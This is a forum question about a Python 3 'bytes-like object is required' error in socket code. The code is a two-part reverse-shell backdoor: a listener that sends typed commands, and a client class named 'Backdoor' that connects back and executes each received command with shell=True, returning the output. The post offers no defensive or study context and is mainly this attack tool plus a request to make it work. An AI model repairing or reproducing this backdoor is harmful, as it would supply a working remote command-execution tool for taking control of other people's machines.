Socket Serialization Error , a bytes-like object is required, not 'str' - arrays

Question

I tried Encoding but is not working can anyone help me with the serialization in python3 a bytes-like object is required, not 'str'
#!/usr/bin/python3
import socket
import json
import pickle
class Listener:
def __init__(self,ip,port):
listener = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
listener.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
listener.bind((ip,port))
listener.listen(0)
print("[+] Waiting for Incoming Connection")
self.connection,address = listener.accept()
print(("[+] Got a Connection from " + str(address)))
def serialize_send(self, data):
data_send = json.dumps(data)
return self.connection.send(data_send)
def serialize_receive(self):
json_dataX = ""
while True:
try:
# #json_data = json_data + self.connection.recv(1024)
# data = self.connection.recv(1024).decode("utf-8", errors="ignore")
# json_data = json_data + data
# return json.loads(json_data)
json_data = bytes(json_dataX, 'utf-8')+ self.connection.recv(1024)
return json.loads(json.loads(json_data.decode('utf8')))
except ValueError:
continue
def execute_remotely(self,command):
self.serialize_send(command)
if command[0] == "exit":
self.connection.close()
exit()
return self.serialize_receive()
def run(self):
while True:
comX = input(">> : ")
command = comX.split(" ")
try:
sys_command = str(command[0])
result = self.execute_remotely(sys_command)
except Exception as errorX:
result = errorX
print(result)
my_backdoor = Listener("localhost",1234)
my_backdoor.run()
Client Code
#!/usr/bin/python3
import socket
import subprocess
import json
import pickle
class Backdoor:
def __init__(self,ip,port):
self.connection=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
self.connection.connect(("localhost",1234))
def serialize_send(self,data):
json_data = json.dumps(data)
self.connection.send(json_data)
def serialize_receive(self):
json_dataX = ""
while True:
try:
#conn_Recv = self.connection.recv(1024)
#data = self.connection.recv(1024).decode("utf-8", errors="ignore")
#json_data = json_dataX + data
json_data = bytes(json_dataX, 'utf-8') + self.connection.recv(1024)
return json.loads(json.loads(json_data.decode('utf8')))
except ValueError:
continue
def execute_system_commmand(self,command):
return subprocess.check_output(command,shell=True)
def run(self):
while True:
commandx = self.serialize_receive()
command = commandx
try:
if command[0] == "exit":
self.connection.close()
exit()
else:
command_result = self.execute_system_commmand(command)
except Exception:
command_result = "[-] Unknown Execution."
self.serialize_send(command_result)
my_backdoor = Backdoor("localhost",1234)
my_backdoor.run()